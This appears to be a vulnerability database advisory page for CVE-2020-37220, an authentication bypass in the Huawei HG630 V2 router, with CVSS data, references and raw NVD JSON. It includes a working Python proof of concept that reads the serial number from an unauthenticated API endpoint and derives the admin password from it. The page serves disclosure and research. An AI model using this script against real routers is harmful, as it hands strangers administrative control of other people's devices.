CVE-2020-37220

Description

Huawei HG630 V2 router contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain administrative access by retrieving the device serial number. Attackers can query the /api/system/deviceinfo endpoint without authentication to extract the SerialNumber field, then use the last 8 characters as the default password to login to the router.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Huawei HG630 V2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Target API endpoint that discloses device info
# Replace <ROUTER_IP> with the actual IP address of the target device
target_url = "http://<ROUTER_IP>/api/system/deviceinfo"

try:
    # Send unauthenticated GET request
    response = requests.get(target_url, timeout=10)
    
    if response.status_code == 200:
        try:
            data = response.json()
            # Extract SerialNumber from the JSON response
            serial_number = data.get('SerialNumber')
            
            if serial_number:
                # Logic: Default password is the last 8 characters of the SerialNumber
                default_password = serial_number[-8:]
                
                print("[+] Vulnerability Confirmed")
                print(f"[+] Device Serial Number: {serial_number}")
                print(f"[+] Derived Admin Password: {default_password}")
                print("[!] Attacker can now login using the serial number suffix.")
            else:
                print("[-] SerialNumber field not found in response.")
                print(f"[-] Response content: {data}")
        except json.JSONDecodeError:
            print("[-] Failed to parse JSON response.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except requests.exceptions.RequestException as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-37220
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-37220
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-37220/
[4] VulDB https://vuldb.com/cve/CVE-2020-37220
[5] https://www.exploit-db.com/exploits/48310
[6] https://www.vulncheck.com/advisories/huawei-hg630-v2-router-authentication-bypass-via-serial-number
[7] https://www.youtube.com/watch?v=vOrIL7L_cVc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2020-37220", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:33.423", "lastModified": "2026-05-13T17:07:21.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Huawei HG630 V2 router contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain administrative access by retrieving the device serial number. Attackers can query the /api/system/deviceinfo endpoint without authentication to extract the SerialNumber field, then use the last 8 characters as the default password to login to the router."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/48310", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/huawei-hg630-v2-router-authentication-bypass-via-serial-number", "source": "[email protected]"}, {"url": "https://www.youtube.com/watch?v=vOrIL7L_cVc", "source": "[email protected]"}]}}